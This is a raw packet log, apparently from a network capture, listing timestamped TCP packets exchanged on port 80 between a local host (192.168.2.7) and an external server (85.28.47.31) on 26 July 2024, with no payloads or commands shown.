Jul 26, 2024 08:57:56.551553011 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551563025 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551572084 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551580906 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551590919 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551599979 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551851988 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551862001 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551878929 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551888943 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551898956 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551908016 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551918030 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551925898 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551965952 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551975012 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.551990986 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552006006 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552016020 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552031040 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552047968 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552057981 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552128077 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552139044 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552155972 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552172899 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552182913 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552191973 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552201033 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552211046 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552324057 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552334070 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552344084 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552352905 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552362919 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552580118 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552589893 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552601099 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552611113 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552620888 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552670956 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552855968 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552866936 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552880049 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552890062 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552900076 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552910089 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552922010 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552932978 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552942991 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.552953959 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.553324938 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.553334951 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.553344965 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.553354979 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.553364038 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.553664923 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.553677082 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.553685904 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.553695917 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.553704977 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.553714991 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.553725004 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.557349920 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.577627897 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.588193893 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.591821909 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.597014904 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.608634949 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.608634949 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.608653069 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.608711004 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.608711004 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.608736038 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.608757973 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.640805960 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.640834093 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.640845060 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.640918016 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.640928030 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.640939951 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.640954018 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.640964985 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.640995979 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.641042948 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.641055107 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.641066074 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.641176939 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.641186953 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.641196966 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.641206980 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.641216993 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.641226053 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.641305923 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.641328096 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.641345024 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.648880005 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.652029991 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.652067900 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.660744905 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.660759926 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.660773993 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.660877943 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.660888910 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.660900116 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.660912037 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.660922050 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.660933971 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.660944939 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.660955906 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.661253929 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.661264896 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.661276102 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.661286116 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.661295891 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.661304951 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.661314964 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.661324978 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.661334991 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.661345005 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.661355972 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.661365032 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.661375046 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.661386013 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.661396027 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.661407948 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.661820889 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.661832094 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.661844969 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.661870956 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.661881924 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.661891937 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.661901951 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.661911011 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.661926985 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.661937952 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.661992073 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.662003040 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.662012100 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.662023067 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.662034035 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.662535906 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.662549019 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.662561893 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.662576914 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.662586927 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.662597895 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.662607908 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.662617922 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.662628889 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.662655115 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.662672043 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.662682056 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.662692070 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.662702084 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.662714005 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.662731886 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.662741899 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.662753105 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.662763119 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.662774086 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.662784100 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.662794113 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.662803888 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.662813902 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.662823915 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.662833929 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.662843943 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.662853956 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.663844109 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.663861036 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.663866043 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.663872957 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.663877964 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.663883924 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.663888931 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.663893938 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.663898945 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.663904905 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.663909912 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.663914919 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.663921118 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.663927078 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.663932085 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.663937092 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.663942099 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.663949966 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.665088892 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.668464899 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.669105053 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.669580936 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.669606924 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.670641899 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.670665979 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.671617985 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.672385931 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.731338978 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.731368065 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.731379032 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.731463909 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.731477022 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.731487989 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.731498957 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.731796026 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.731806993 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.731817007 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.731918097 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.731929064 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.731937885 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.731949091 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.732172012 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.732182980 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.732192993 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.732203960 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.732213974 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.732223988 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.732234001 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.734179974 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.734260082 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.734528065 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.748277903 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.748291969 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.748301983 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.748339891 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.748366117 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.748385906 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.748397112 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.748408079 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.748440981 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.748450994 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.748461962 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.748471975 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.748545885 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.748555899 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.748565912 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.748577118 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.748630047 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.748640060 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.748701096 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.748729944 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.748881102 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.748892069 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.748903036 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.748912096 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.748922110 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.748935938 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.748959064 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.749032021 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.749042988 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.749053001 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.749062061 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.749072075 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.749082088 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.749104977 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.749114990 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.749125004 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.749135017 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.749144077 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.749154091 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.749218941 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.749244928 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.749258995 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.749269962 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.749279022 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.749289036 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.749298096 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.749334097 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.749344110 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.749718904 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.750267029 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.750277996 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.750288963 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.750319004 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.750329018 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.750333071 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.750339985 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.750350952 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.750365973 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.750386953 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.750422955 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.750435114 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.750444889 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.750453949 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.750464916 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.750474930 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.750497103 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.750622988 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.750719070 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.750730038 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.750797033 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.750813961 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.750823021 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.750833988 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.750897884 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.750927925 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.750938892 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.750962973 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.750965118 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.750972033 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.750989914 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.750999928 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.751009941 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.751020908 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.751089096 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.751101971 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.751126051 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.751137018 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.751147032 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.751156092 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.751344919 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.751394987 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.751409054 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.751418114 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.751427889 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.751437902 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.751472950 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.751724958 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.751739025 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.751748085 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.751754045 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.751770020 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.751771927 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.751796961 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.751828909 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.752007008 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.752022028 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.752033949 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.752046108 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.752057076 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.752064943 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.752069950 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.752084970 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.752095938 CEST	49756	80	192.168.2.7	85.28.47.31
